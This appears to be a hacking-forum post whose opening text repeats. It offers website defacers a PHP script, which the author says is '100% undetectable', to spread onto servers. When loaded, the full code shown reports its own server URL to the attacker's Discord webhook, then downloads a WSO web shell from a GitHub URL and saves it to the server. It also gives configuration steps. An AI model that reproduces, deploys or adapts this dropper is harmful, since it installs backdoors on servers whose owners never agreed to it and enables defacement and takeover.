Hello cyber souls!
Today, I am going to present a simple PHP concept tool for website defacers. You can simply spread this script, and every time someone loads it on a server or it gets triggered, it will install your webshell from a remote URL and send the exact server location of the shell to your Discord channel.
Features:
Here are the different versions of the script. I will continue to update and upgrade the script, and I will provide the updated versions here:
Set the shell name at "h3llsh3ll.php". By default, it is "h3llsh3ll". If you want to change the path, replace "./" with your favorite path. If you want to upload your shell to the same location as "shellping", keep the same path. It is recommended to use the same path for simplicity and ease of use.
Replace 'Webhook_Url' with the URL of the webhook that you generated on Discord.
By default, I have set up the WSO shell upgraded by @H3llSh3ll, which also supports PHP 8.
Happy Hacking!
Today, I am going to present a simple PHP concept tool for website defacers. You can simply spread this script, and every time someone loads it on a server or it gets triggered, it will install your webshell from a remote URL and send the exact server location of the shell to your Discord channel.
Features:
- Simple code
- Automatic shell installation
- Pings your webhook with the exact shell location
- 100% undetectable
Here are the different versions of the script. I will continue to update and upgrade the script, and I will provide the updated versions here:
PHP:
<?php
// Set your webhook URL here
$webhook_url = "Webhook_Url";
// Set message content
$message_content = "Shell is uploaded on: " . $_SERVER['SCRIPT_URI'];
// Set webhook data
$data = array(
"content" => $message_content
);
// Convert data to JSON
$json_data = json_encode($data);
// Send webhook request
$ch = curl_init($webhook_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
curl_close($ch);
// Set shell name and path
//keep the same path if you want to upload your shell on the same location of shellping.
$file_name = "h3llsh3ll.php";
$file_path = "./" . $file_name;
// Set shell remote URL
//By default I have set wso shell upgraded by @h3llsh3ll that also supports php 8
$download_url = "https://raw.githubusercontent.com/H3llSh3ll/WSO-SHELL/main/wso-2023.php";
// Download shell and save to server
$file_contents = file_get_contents($download_url);
file_put_contents($file_path, $file_contents);
?>
Replace 'Webhook_Url' with the URL of the webhook that you generated on Discord.
By default, I have set up the WSO shell upgraded by @H3llSh3ll, which also supports PHP 8.
Happy Hacking!
Last edited:
